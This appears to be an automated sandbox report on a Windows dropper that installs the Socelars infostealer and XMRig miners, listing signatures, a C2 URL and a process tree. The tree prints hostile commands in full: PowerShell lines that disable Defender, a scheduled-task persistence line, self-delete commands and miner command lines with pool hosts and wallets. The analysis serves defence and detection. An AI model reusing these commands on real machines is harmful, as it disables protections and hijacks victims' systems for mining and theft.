Analysis

  • max time kernel
    44s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    02/01/2022, 16:40

General

  • Target
    setup_installx86-x64.exe
  • Size 6.2MB
  • Sample220102-t6k67shacm
  • SHA256 b3cba6f497f226456bcc8915644968fdea7f4729bc3eaec3a4808e200319049f
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • socelars

C2
  • http://www.chosenncrowned.com/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • suricata: ET MALWARE GCleaner Downloader Activity M5

    suricata: ET MALWARE GCleaner Downloader Activity M5

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • NirSoft WebBrowserPassView 5 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 5 IoCs
  • XMRig Miner Payload 1 IoCs
  • ASPack v2.12-2.42 7 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 34 IoCs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 15 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies registry class 20 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Browser
    1⤵
      PID:2844
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s WpnService
      1⤵
        PID:2732
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s BITS
        1⤵
        • Suspicious use of SetThreadContext
        • Modifies registry class
        PID:4036
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k SystemNetworkService
          2⤵
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          • Modifies registry class
          PID:4708
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
        1⤵
          PID:2712
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
          1⤵
            PID:2444
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
            1⤵
              PID:2408
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
              1⤵
                PID:1904
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s SENS
                1⤵
                  PID:1420
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                  1⤵
                    PID:1304
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Themes
                    1⤵
                      PID:1228
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                      1⤵
                        PID:1112
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                        1⤵
                          PID:940
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                          1⤵
                            PID:344
                          • C:\Users\Admin\AppData\Local\Temp\setup_installx86-x64.exe
                            "C:\Users\Admin\AppData\Local\Temp\setup_installx86-x64.exe"
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2428
                            • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                              "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                              2⤵
                              • Executes dropped EXE
                              • Suspicious use of WriteProcessMemory
                              PID:968
                              • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\setup_install.exe
                                "C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\setup_install.exe"
                                3⤵
                                • Executes dropped EXE
                                • Loads dropped DLL
                                • Suspicious use of WriteProcessMemory
                                PID:2672
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3500
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
                                    5⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:388
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3996
                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                    powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                    5⤵
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:504
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c 61d1d1dfad8d1_Sun1626b741a1.exe
                                  4⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:3872
                                  • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1dfad8d1_Sun1626b741a1.exe
                                    61d1d1dfad8d1_Sun1626b741a1.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:692
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd.exe /c taskkill /f /im chrome.exe
                                      6⤵
                                        PID:4716
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /f /im chrome.exe
                                          7⤵
                                          • Kills process with taskkill
                                          PID:1152
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c 61d1d1e1e84c1_Sun168ae112a.exe
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:1620
                                    • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e1e84c1_Sun168ae112a.exe
                                      61d1d1e1e84c1_Sun168ae112a.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Checks SCSI registry key(s)
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious behavior: MapViewOfSection
                                      PID:3580
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c 61d1d1e27795e_Sun16220c0c7c57.exe
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:728
                                    • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e27795e_Sun16220c0c7c57.exe
                                      61d1d1e27795e_Sun16220c0c7c57.exe
                                      5⤵
                                      • Executes dropped EXE
                                      PID:2268
                                      • C:\Users\Admin\AppData\Roaming\DEB8.tmp.exe
                                        "C:\Users\Admin\AppData\Roaming\DEB8.tmp.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        PID:904
                                      • C:\Users\Admin\AppData\Roaming\E532.tmp.exe
                                        "C:\Users\Admin\AppData\Roaming\E532.tmp.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        • Adds Run key to start application
                                        • Suspicious use of SetThreadContext
                                        PID:3360
                                        • C:\Windows\system32\msiexec.exe
                                          -o 185.38.142.112:80 --cpu-max-threads-hint 50 -r 9999
                                          7⤵
                                            PID:4660
                                            • C:\Windows\System32\Conhost.exe
                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                              8⤵
                                              • Executes dropped EXE
                                              PID:3780
                                          • C:\Windows\system32\msiexec.exe
                                            -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.wn28963@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                            7⤵
                                              PID:4268
                                          • C:\Users\Admin\AppData\Roaming\E775.tmp.exe
                                            "C:\Users\Admin\AppData\Roaming\E775.tmp.exe"
                                            6⤵
                                            • Executes dropped EXE
                                            • Drops startup file
                                            PID:3020
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e27795e_Sun16220c0c7c57.exe" >> NUL
                                            6⤵
                                              PID:2312
                                              • C:\Windows\System32\Conhost.exe
                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                7⤵
                                                • Executes dropped EXE
                                                PID:2204
                                              • C:\Windows\SysWOW64\PING.EXE
                                                ping 127.0.0.1
                                                7⤵
                                                • Runs ping.exe
                                                PID:4520
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c 61d1d1e3bfb07_Sun16a7b832.exe
                                          4⤵
                                            PID:2832
                                            • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e3bfb07_Sun16a7b832.exe
                                              61d1d1e3bfb07_Sun16a7b832.exe
                                              5⤵
                                              • Executes dropped EXE
                                              PID:1560
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c 61d1d1e5259ce_Sun16a2297f.exe
                                            4⤵
                                              PID:3936
                                              • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e5259ce_Sun16a2297f.exe
                                                61d1d1e5259ce_Sun16a2297f.exe
                                                5⤵
                                                • Executes dropped EXE
                                                PID:1176
                                            • C:\Windows\SysWOW64\cmd.exe
                                              C:\Windows\system32\cmd.exe /c 61d1d1e6e6e1e_Sun169dd2976.exe
                                              4⤵
                                                PID:1288
                                                • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e6e6e1e_Sun169dd2976.exe
                                                  61d1d1e6e6e1e_Sun169dd2976.exe
                                                  5⤵
                                                  • Executes dropped EXE
                                                  PID:1824
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c 61d1d1e780c17_Sun16f36b79c2.exe
                                                4⤵
                                                • Suspicious use of WriteProcessMemory
                                                PID:1280
                                                • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e780c17_Sun16f36b79c2.exe
                                                  61d1d1e780c17_Sun16f36b79c2.exe
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:3648
                                                  • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                    6⤵
                                                    • Executes dropped EXE
                                                    PID:3644
                                                    • C:\Users\Admin\AppData\Local\Temp\myngtsfile.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\myngtsfile.exe"
                                                      7⤵
                                                      • Executes dropped EXE
                                                      PID:576
                                                    • C:\Users\Admin\AppData\Local\Temp\anytimetool.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\anytimetool.exe"
                                                      7⤵
                                                        PID:1288
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c 61d1d1e845ac6_Sun160872b8dd.exe /mixtwo
                                                  4⤵
                                                    PID:1656
                                                    • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e845ac6_Sun160872b8dd.exe
                                                      61d1d1e845ac6_Sun160872b8dd.exe /mixtwo
                                                      5⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of SetThreadContext
                                                      PID:1932
                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e845ac6_Sun160872b8dd.exe
                                                        61d1d1e845ac6_Sun160872b8dd.exe /mixtwo
                                                        6⤵
                                                        • Executes dropped EXE
                                                        PID:2276
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c taskkill /im "61d1d1e845ac6_Sun160872b8dd.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e845ac6_Sun160872b8dd.exe" & exit
                                                          7⤵
                                                            PID:4240
                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                              taskkill /im "61d1d1e845ac6_Sun160872b8dd.exe" /f
                                                              8⤵
                                                              • Kills process with taskkill
                                                              PID:4756
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c 61d1d1edbc9e5_Sun16192e7837a.exe
                                                      4⤵
                                                        PID:1036
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c 61d1d1ec7043a_Sun164fac9da08d.exe
                                                        4⤵
                                                          PID:408
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c 61d1d1ea2bbb3_Sun16465543a2.exe
                                                          4⤵
                                                            PID:396
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c 61d1d1e9334f3_Sun1613f5f6cd.exe
                                                            4⤵
                                                              PID:520
                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e6e6e1e_Sun169dd2976.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e6e6e1e_Sun169dd2976.exe" /SILENT
                                                        1⤵
                                                          PID:2204
                                                          • C:\Users\Admin\AppData\Local\Temp\is-482TM.tmp\61d1d1e6e6e1e_Sun169dd2976.tmp
                                                            "C:\Users\Admin\AppData\Local\Temp\is-482TM.tmp\61d1d1e6e6e1e_Sun169dd2976.tmp" /SL5="$101E4,1570064,56832,C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e6e6e1e_Sun169dd2976.exe" /SILENT
                                                            2⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            • Drops file in Program Files directory
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of FindShellTrayWindow
                                                            PID:2840
                                                            • C:\Users\Admin\AppData\Local\Temp\is-IAM1G.tmp\windllhost.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\is-IAM1G.tmp\windllhost.exe" 77
                                                              3⤵
                                                              • Executes dropped EXE
                                                              PID:1984
                                                        • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1edbc9e5_Sun16192e7837a.exe
                                                          61d1d1edbc9e5_Sun16192e7837a.exe
                                                          1⤵
                                                          • Executes dropped EXE
                                                          • Modifies registry class
                                                          PID:688
                                                          • C:\Windows\SysWOW64\control.exe
                                                            "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\nWPEI.cpl",
                                                            2⤵
                                                              PID:3844
                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\nWPEI.cpl",
                                                                3⤵
                                                                • Loads dropped DLL
                                                                PID:1920
                                                          • C:\Users\Admin\AppData\Local\Temp\is-CPR7E.tmp\61d1d1e6e6e1e_Sun169dd2976.tmp
                                                            "C:\Users\Admin\AppData\Local\Temp\is-CPR7E.tmp\61d1d1e6e6e1e_Sun169dd2976.tmp" /SL5="$40084,1570064,56832,C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e6e6e1e_Sun169dd2976.exe"
                                                            1⤵
                                                            • Executes dropped EXE
                                                            • Loads dropped DLL
                                                            PID:3148
                                                          • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e5259ce_Sun16a2297f.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e5259ce_Sun16a2297f.exe" -u
                                                            1⤵
                                                              PID:3780
                                                            • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1ec7043a_Sun164fac9da08d.exe
                                                              61d1d1ec7043a_Sun164fac9da08d.exe
                                                              1⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:2520
                                                              • C:\Users\Admin\AppData\Local\320dc1c3-9494-48e2-8dd9-c329a01a3a4f.exe
                                                                "C:\Users\Admin\AppData\Local\320dc1c3-9494-48e2-8dd9-c329a01a3a4f.exe"
                                                                2⤵
                                                                • Executes dropped EXE
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:3504
                                                              • C:\Users\Admin\AppData\Local\dd7a4854-dfe4-4bad-a17b-5bee483f4648.exe
                                                                "C:\Users\Admin\AppData\Local\dd7a4854-dfe4-4bad-a17b-5bee483f4648.exe"
                                                                2⤵
                                                                • Executes dropped EXE
                                                                • Adds Run key to start application
                                                                PID:3340
                                                                • C:\Users\Admin\AppData\Roaming\91580623\5570007655700076.exe
                                                                  "C:\Users\Admin\AppData\Roaming\91580623\5570007655700076.exe"
                                                                  3⤵
                                                                  • Executes dropped EXE
                                                                  PID:3920
                                                              • C:\Users\Admin\AppData\Local\4c994f59-2729-450d-9216-01009fa4b678.exe
                                                                "C:\Users\Admin\AppData\Local\4c994f59-2729-450d-9216-01009fa4b678.exe"
                                                                2⤵
                                                                • Executes dropped EXE
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2052
                                                                • C:\Users\Admin\AppData\Roaming\7097060.exe
                                                                  "C:\Users\Admin\AppData\Roaming\7097060.exe"
                                                                  3⤵
                                                                  • Executes dropped EXE
                                                                  • Modifies registry class
                                                                  PID:4400
                                                                  • C:\Windows\SysWOW64\control.exe
                                                                    "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\kuEF.cPL",
                                                                    4⤵
                                                                      PID:4800
                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\kuEF.cPL",
                                                                        5⤵
                                                                        • Loads dropped DLL
                                                                        PID:4232
                                                                        • C:\Windows\system32\RunDll32.exe
                                                                          C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\kuEF.cPL",
                                                                          6⤵
                                                                            PID:1652
                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                              "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\kuEF.cPL",
                                                                              7⤵
                                                                                PID:968
                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e9334f3_Sun1613f5f6cd.exe
                                                                    61d1d1e9334f3_Sun1613f5f6cd.exe
                                                                    1⤵
                                                                    • Executes dropped EXE
                                                                    PID:2424
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\7990891368.exe"
                                                                      2⤵
                                                                        PID:4368
                                                                        • C:\Users\Admin\AppData\Local\Temp\7990891368.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\7990891368.exe"
                                                                          3⤵
                                                                          • Executes dropped EXE
                                                                          PID:4848
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /im "61d1d1e9334f3_Sun1613f5f6cd.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1e9334f3_Sun1613f5f6cd.exe" & exit
                                                                        2⤵
                                                                          PID:3332
                                                                      • C:\Users\Admin\AppData\Local\Temp\7zS8C3B9B85\61d1d1ea2bbb3_Sun16465543a2.exe
                                                                        61d1d1ea2bbb3_Sun16465543a2.exe
                                                                        1⤵
                                                                        • Executes dropped EXE
                                                                        PID:2764
                                                                        • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\11111.exe /stab C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:1288
                                                                          • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                                            3⤵
                                                                            • Executes dropped EXE
                                                                            PID:4384
                                                                            • C:\Windows\System32\conhost.exe
                                                                              "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                                              4⤵
                                                                                PID:1372
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
                                                                                  5⤵
                                                                                    PID:4512
                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
                                                                                      6⤵
                                                                                      • Creates scheduled task(s)
                                                                                      PID:4228
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
                                                                                    5⤵
                                                                                      PID:2164
                                                                                      • C:\Users\Admin\AppData\Roaming\services64.exe
                                                                                        C:\Users\Admin\AppData\Roaming\services64.exe
                                                                                        6⤵
                                                                                          PID:2936
                                                                                          • C:\Windows\System32\conhost.exe
                                                                                            "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
                                                                                            7⤵
                                                                                              PID:4624
                                                                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                                                                                "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                                                                                8⤵
                                                                                                  PID:1108
                                                                                                • C:\Windows\explorer.exe
                                                                                                  C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.udda/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6OAdluV/h8Wx+uVST9CwRTBBZDSizq+6yEkb73lzV2SG" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=60 --tls --cinit-stealth
                                                                                                  8⤵
                                                                                                    PID:4636
                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                      rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                      1⤵
                                                                                      • Process spawned unexpected child process
                                                                                      PID:4580
                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                        2⤵
                                                                                        • Loads dropped DLL
                                                                                        • Modifies registry class
                                                                                        PID:4596

                                                                                    Network

                                                                                          MITRE ATT&CK Enterprise v6

                                                                                          Replay Monitor

                                                                                          Loading Replay Monitor...

                                                                                          Downloads

                                                                                          memory/344-424-0x000001D9CF100000-0x000001D9CF102000-memory.dmp

                                                                                          memory/344-422-0x000001D9CF100000-0x000001D9CF102000-memory.dmp

                                                                                          memory/388-248-0x0000000006B60000-0x0000000006BC6000-memory.dmp

                                                                                          memory/388-236-0x0000000004620000-0x0000000004642000-memory.dmp

                                                                                          memory/388-269-0x0000000006D40000-0x0000000006D5C000-memory.dmp

                                                                                          memory/388-231-0x0000000006812000-0x0000000006813000-memory.dmp

                                                                                          memory/388-198-0x0000000006720000-0x0000000006756000-memory.dmp

                                                                                          memory/388-211-0x0000000006E50000-0x0000000007478000-memory.dmp

                                                                                          memory/388-224-0x0000000006810000-0x0000000006811000-memory.dmp

                                                                                          memory/388-280-0x0000000007D90000-0x0000000007DDB000-memory.dmp

                                                                                          memory/388-252-0x0000000007480000-0x00000000077D0000-memory.dmp

                                                                                          memory/388-183-0x00000000002D0000-0x00000000002D1000-memory.dmp

                                                                                          memory/388-316-0x00000000002D0000-0x00000000002D1000-memory.dmp

                                                                                          memory/388-191-0x00000000002D0000-0x00000000002D1000-memory.dmp

                                                                                          memory/388-241-0x0000000006DB0000-0x0000000006E16000-memory.dmp

                                                                                          memory/388-296-0x0000000007BD0000-0x0000000007C46000-memory.dmp

                                                                                          memory/504-313-0x0000000000820000-0x0000000000821000-memory.dmp

                                                                                          memory/504-222-0x0000000000FA0000-0x0000000000FA1000-memory.dmp

                                                                                          memory/504-197-0x0000000000D60000-0x0000000000D96000-memory.dmp

                                                                                          memory/504-181-0x0000000000820000-0x0000000000821000-memory.dmp

                                                                                          memory/504-213-0x0000000006F10000-0x0000000007538000-memory.dmp

                                                                                          memory/504-293-0x0000000007CA0000-0x0000000007D16000-memory.dmp

                                                                                          memory/504-246-0x0000000006C50000-0x0000000006CB6000-memory.dmp

                                                                                          memory/504-272-0x0000000007EE0000-0x0000000007F2B000-memory.dmp

                                                                                          memory/504-264-0x0000000007560000-0x000000000757C000-memory.dmp

                                                                                          memory/504-242-0x0000000006E90000-0x0000000006EF6000-memory.dmp

                                                                                          memory/504-185-0x0000000000820000-0x0000000000821000-memory.dmp

                                                                                          memory/504-237-0x0000000006C10000-0x0000000006C32000-memory.dmp

                                                                                          memory/504-251-0x0000000007650000-0x00000000079A0000-memory.dmp

                                                                                          memory/504-228-0x0000000000FA2000-0x0000000000FA3000-memory.dmp

                                                                                          memory/576-326-0x0000000000671000-0x000000000069D000-memory.dmp

                                                                                          memory/688-223-0x0000000000020000-0x0000000000021000-memory.dmp

                                                                                          memory/688-221-0x0000000000020000-0x0000000000021000-memory.dmp

                                                                                          memory/1288-306-0x00000000005D0000-0x00000000005D8000-memory.dmp

                                                                                          memory/1288-289-0x0000000000400000-0x000000000047C000-memory.dmp

                                                                                          memory/1288-308-0x00000000005D0000-0x00000000005D8000-memory.dmp

                                                                                          memory/1824-219-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                          memory/2052-286-0x0000000000600000-0x0000000000634000-memory.dmp

                                                                                          memory/2052-294-0x0000000004DB0000-0x0000000004DB6000-memory.dmp

                                                                                          memory/2052-302-0x0000000004E70000-0x0000000004E71000-memory.dmp

                                                                                          memory/2052-288-0x0000000000600000-0x0000000000634000-memory.dmp

                                                                                          memory/2204-234-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                          memory/2276-200-0x0000000000400000-0x0000000000450000-memory.dmp

                                                                                          memory/2276-235-0x0000000000400000-0x0000000000450000-memory.dmp

                                                                                          memory/2424-279-0x0000000000400000-0x0000000000479000-memory.dmp

                                                                                          memory/2424-249-0x0000000000732000-0x0000000000752000-memory.dmp

                                                                                          memory/2424-271-0x0000000000480000-0x00000000005CA000-memory.dmp

                                                                                          memory/2444-432-0x000001C2252D0000-0x000001C2252D2000-memory.dmp

                                                                                          memory/2444-431-0x000001C2252D0000-0x000001C2252D2000-memory.dmp

                                                                                          memory/2520-215-0x0000000000B30000-0x0000000000B66000-memory.dmp

                                                                                          memory/2520-230-0x000000001B7D0000-0x000000001B7D2000-memory.dmp

                                                                                          memory/2520-218-0x0000000000B30000-0x0000000000B66000-memory.dmp

                                                                                          memory/2520-225-0x0000000001260000-0x0000000001266000-memory.dmp

                                                                                          memory/2672-137-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                          memory/2672-142-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                          memory/2672-145-0x000000006B280000-0x000000006B2A6000-memory.dmp

